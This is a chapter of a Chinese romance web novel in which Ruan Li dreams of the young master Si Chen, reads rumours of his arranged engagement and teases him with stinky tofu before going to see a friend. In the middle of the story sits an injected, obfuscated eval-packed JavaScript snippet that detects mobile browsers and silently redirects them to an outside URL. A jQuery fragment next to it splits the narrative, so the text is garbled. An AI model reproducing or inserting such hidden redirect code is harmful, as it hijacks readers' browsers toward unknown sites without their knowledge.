39. 第 39 章
作品:《始乱终弃了少爷后》 当天夜里,阮离做了个梦,梦见高考结束后的那个暑假,她没有失约。
他们去了游乐园,举着棉花糖和玩偶人合照,还玩了枪打气球和套圈。
她水平很烂,不过司辰很厉害,把那个最大的白熊玩偶赢来了。
素来嚣张跋扈的少年此时有些紧张地攥紧了玩偶的耳朵,耳垂微红。
他看着她:“阮离,我有话对你说。”
二人对视,一朵绚丽的烟花在他们头顶炸开,将他们的面容映得流光溢彩。
周围的一切都变得如梦似幻,她像生活在童话中的公主,全世界都为她绽放。
她上前一步,在他的右脸落下轻轻一吻。
心跳伴随着烟花盛开,淹没在汹涌人潮。突然,唰的一下,面前的少年连着白熊玩偶一起消失了。
周围的一切也如同日出前的泡沫尽数消散了。
阮离醒过来,感觉眼角到耳尖一片湿凉。黑暗中,她忽然感到一阵惶恐与不安,如果这一切最终都会消失,她该如何承受得到后又失去的痛苦。
后半夜她睡得极其不踏实,迷迷糊糊的,倒是没再做梦。天光透过窗帘缝隙照进屋里时,床头柜上的手机震动起来。
她翻个身,探手抓起手机,屏幕上跳动着余冰的头像。
倒是并不意外,这个时间点找她的,只可能是阴间作息的余冰。
电话刚接起来,余冰的声音就着急地响起来:“你那个老板男朋友,是不是叫司辰?我看网上说司家和陈家要联姻,你知道这件事吗?”
她怔了一下:“你大晚上不睡觉就是为了告诉我这个?”
“哎呀你别打岔,到底有没有这事?”余冰很为自己少根筋的姐妹操心。
“嗯,不过婚约很快就会取消了。”
“他和你说的?”余冰的语气不是很相信,“但是我看网上说得有鼻子有眼的,还有他们的合照呢。你还是多长个心眼,别被骗了。”
“不会的,我相信他。”
余冰在电话那边沉默了。
“谢谢你冰冰。”阮离很感动。
“谢什么,就算没事我这个点也不睡觉,我还是把链接发给你,你自己好好看看吧。”
余冰很是头疼地叹了口气,阮离知道她应该是把自己当成恋爱脑了。但她既然选择走到今天这步,只靠网上的那点捕风捉影,是不甘心就这么放弃的。
“你今天上班吗?”阮离问她。
“不上,要不然我怎么敢现在还不睡。”余冰语气苍凉,“上个破班都让我被迫开始早睡早起了。”
“那你快睡,醒了我去找你细说。”
有八卦听,对面精神一振,立刻说:“那我现在就睡,我看一眼啊……现在四点半,我睡五个小时就够了,你十点来吧。”
“我下午过去,你多睡会儿吧。”
“那好吧,我睡醒了给你发消息。”余冰说完后欢快地挂断了电话。
过了几秒,一个网页新闻的链接发了过来。
标题是——
强强联合:豪门联姻背后的爱情真相
她点进去,跳出来的第一张图就是司辰和陈朵的照片。
二人都穿着学士服,陈朵怀里抱着一捧花,笑得很灿烂。司辰侧过头似乎正准备和她说话。
看起来确实很般配。
她往下拉,快速扫了一眼新闻内容。大概是说,虽然豪门联姻大多是为了利益并无真心,但这二位金童玉女自小一起长大,青梅竹马,还一起去国外念书。一路走来,实现了从校服到婚纱的纯真爱情。
文笔浮夸,还有好几个错别字,看得她这个难受,真想上手帮他改了。
看完之后,阮离顺手点了个举报,举报理由:封面恶心。
爽了。
起床洗漱完牵着冻柿子去遛弯,回来顺便买了早餐。给冻柿子上好粮之后,楼上门响了一声,很快,一身灰色家居服的少爷顶着湿漉漉的脑袋打着哈欠走下楼梯。
“早啊。”司辰说。
“早。”阮离不动声色地回。
他走到冰箱前拿出一瓶水准备喝,突然停下动作,在空气中嗅了嗅,皱起眉:“什么味儿?冻柿子拉了?”
埋头干饭的冻柿子听到自己名字抬起头,叫了一声。
“你别瞎说,冻柿子很乖的,从来不在家里随地大小便。”阮离替冻柿子正名。
“那怎么这么臭?”司辰闻着空气中的味道,像只大狗一样循着味道走到餐桌前,伸出一根手指挑起桌上的塑料袋。
神情震撼地问:“这是什么?你把它的屎捡回来了?”
冻柿子愤怒地叫了一声。
阮离摸了摸它的脑袋权当安慰,语气自然地说:“那是臭豆腐,我路过看到想吃就买了。”
“臭豆腐?!”餐桌前的人丢下手上的袋子,一边甩手一边连连退后,“我最讨厌这东西!太味儿了。”
就是知道你最讨厌这个味儿才买的,阮离把冻柿子的尾巴绕在指尖,心想。
把大门和窗户全打开,总算觉得好受点。
“你从哪路过的,这附近根本不让摆摊啊。”司辰简直迷惑。
附近确实没有小吃摊,不过这点困难根本难不倒她。
花了大价钱叫了个跑腿买了附中那边最臭的臭豆腐,臭豆腐十块,跑腿费五十。
真是一场酣畅淋漓的消费。
“那你别管,反正就是路过,想吃就买了。”
“你还要吃这玩意儿,在我面前?”对方震惊且嫌弃。
“你不愿意看见它的话,”阮离勾起嘴角,“我在你身后吃也行啊。”
司辰盯着她看了一会儿,然后问:“你是不是故意整我,我哪得罪你了?”
哟,金童少爷还挺敏锐。
“怎么会呢。”罪魁祸首一脸无辜,“你真的想多了,我就是单纯地看到了,单纯地想吃,然后就单纯地买了,你忍一忍,等我把它吃了,就没味儿了。”
司辰用两个纸团把鼻子堵起来,满脸痛苦地一边喝豆浆一边看阮离在他对面吃臭豆腐。
高中的时候,阮离就喜欢吃这种有乱七八糟味道的小吃,吃上一次大少爷要跳脚三天,但她还是照吃不误,反正他除了无能狂怒之外也做不了什么。
心满意足地吃完早餐,欣赏完对面全程的痛苦面具,阮离的气顺了大半。
“下午我去见朋友,晚饭你自己吃。”着重强调后半句,“记得给冻柿子上粮,还有,今天是十五号,带它去洗澡。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16825963|186746||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她站起身,看了眼桌面上的空盘空碗,丢下一句:“碗你洗。”
然后回屋了。
余冰住的地方离这很远,她要转两次公交。怪就怪这里实在是太偏了,去哪里都很远,而且最近的公交站也有三公里,还好她不是什么爱出门的人,要不然真的受不了。
不过没有邻居这一点还是挺爽的,之前住出租屋的时候,每次出门最害怕隔壁和对门也同时出门,不打招呼吧,没礼貌,打招呼吧,又不知道说什么。
每次只能尬笑点头,一天的心情都被破坏了。
正在宽敞衣柜的角落里挑选自己仅有的三五件还算得体的衣服,房门被敲响。
打开门,司辰站在门外。
“什么事?”阮离问。
他摸了摸自己的面颊,犹豫片刻后说:“昨天……你是不是……”
完蛋。
不会吧。
他发现她偷亲他的事情了?
不是喝醉了吗?
握在门把上的手指已经蜷缩起来,阮离状若镇定地开口:“……昨天,怎么了?”
陷入回忆的人摸着右脸,“昨天你是不是趁我喝醉后……”
呼吸暂停几秒,然后她听见他说。
“扇我了?”
呼吸恢复了,心跳暂停了。
不,心跳都没了。
“你是怎么得出这个结论的?”阮离看着他。
握在门把上的手指蠢蠢欲动,非常想把门板拍在他脸上。
“我觉得这半张脸一直在发热啊,你就说你是不是扇我了?”司辰不依不饶。
“你这么想被扇,我可以现在就满足你。”阮离举起左手,对方下一秒就从她面前消失了。
什么紧张旖旎的心思都被他的神经搅散了,阮离选好衣服出了门。
路过客厅,沙发上的一人一狗都看过来。
司辰抱臂翘着二郎腿坐在那里一脸深沉地凹造型,挂在脚上的拖鞋晃啊晃。冻柿子眼巴巴地盯着他的拖鞋,一脸想咬又不敢咬的渴望。
她目不斜视往门口走。
“见什么朋友啊?”司辰的声音幽幽地从背后追过来,“还特意打扮得这么隆重。”
低头看了一眼,普普通通的衬衫半裙,哪隆重了?
“我都没见你穿过几次裙子。”背后人依旧幽幽地说。
你没见过的多了。
阮离懒得理他,去门口换鞋。
“晚上还回来住吗?”沙发上的人还在问,像个老妈子。
“不一定。”阮离把拖鞋塞进鞋架,开门走了。
要是聊得太晚,错过公交车末班车,她就只能在余冰那睡一宿,明天早上再回来了。
门被关上的那一刻,司辰从沙发上站起来,叉腰在原地走了一圈,回头对仰头看着他的冻柿子控诉:“你听见没?她说什么?晚上都不回来住了?这是个什么朋友?开酒店的啊,还包住宿!”
冻柿子看着他,摇了摇尾巴。
“就知道摇尾巴,蠢狗。”炸毛大少爷一屁股摔回沙发,把冻柿子的脑袋一顿胡噜,后者温顺纵容的全盘接受,末了舔了舔他的手心。
“你是指不上了,看来只能请外援了。”司辰说完,拿起手机拨通了肖承烨的电话。

